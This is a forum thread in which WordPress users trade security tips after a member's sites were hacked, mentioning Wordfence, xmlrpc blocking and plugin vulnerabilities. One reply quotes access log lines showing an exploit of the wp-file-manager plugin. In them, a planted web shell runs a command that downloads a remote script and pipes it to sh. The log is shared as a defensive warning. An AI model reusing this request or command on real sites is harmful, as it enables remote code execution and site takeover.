Please Help!! I lost hope in WordPress!

MrSam_1

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in wordfence add restricted request for login this [login]
This way you will get rid of at least half of xmlrpc login scanners. Or completely block xmlrpc if you don't use third party apps.
 

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I don't even know the duplicator pro was used for this (hacking) but yes, i'm using wordfence, loginizer, 2 step login, virus total, google recaptcha and i change my admin url, daily backups, lock anyone who try to use "admin" word and variations and so on.

Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!
 

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I don't even know the duplicator pro was used for this (hacking) but yes, i'm using wordfence, loginizer, 2 step login, virus total, google recaptcha and i change my admin url, daily backups, lock anyone who try to use "admin" word and variations and so on.
Duplicator pro is vulnerable to hacking? OMG...many people suggest this plugin. However, I use Updraftplus. Hope Updraftplus is better.
 
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Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!
You're so polite, Babiato needs a "MVM" member badge. (most valuable member)
 

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What do you all think about file manager plugin in wordpress? Which let us edit any file from wordpress rather than accessing cpanel and editing it.

Let me answer to this in some less common way:

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[19/Dec/2020:08:57:08 +0000] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
[19/Dec/2020:08:57:48 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP/1.1" 200 411

I personally don't trust that plugin as it had critical flaws in the last major releases
 

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in wordfence add restricted request for login this [login]
This way you will get rid of at least half of xmlrpc login scanners. Or completely block xmlrpc if you don't use third party apps.

This is sooo important it should almost be pinned. I completely block xmlrpc. Thank you for pointing this simple yet crucial step.
 
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Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!
Changing wp admin url is more likely to he hack says wordfence
 

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yes, there is a news comes from wordfence recently which says elementor free version has some problem and it affected 7M website worldwide, maybe this is what you are facing. Check wordfence blog for this and immediately either remove elementor oor update it. Elementor causing this issue maybe. Check it
 

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yes, there is a news comes from wordfence recently which says elementor free version has some problem and it affected 7M website worldwide, maybe this is what you are facing. Check wordfence blog for this and immediately either remove elementor oor update it. Elementor causing this issue maybe. Check it
Since he says all of his websites are affected, I doubt it's Elementor, cause the vulnerability only exists when people have access to the editor. From the Wordfence blog (comments section):

"this can only be exploited by users that can access the Elementor editor. If the only users on the site are those that are already allowed to add unfiltered HTML or JavaScript, such as administrators or editors, then yes, this doesn't add any additional risk. The primary risk is for sites that have users with fewer privileges, such as contributors and authors, as this creates a larger attack surface."

Still, given the huge user base of Elementor, it's a big thing...
 

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in wordfence add restricted request for login this [login]
This way you will get rid of at least half of xmlrpc login scanners. Or completely block xmlrpc if you don't use third party apps.
Hi @slvrsteele , could you please explain the real steps to do what you suggest in simple language. I feel that your tip is important but I do not understand how to really apply it. Thank you in advance.
 

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Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!
That's true
 

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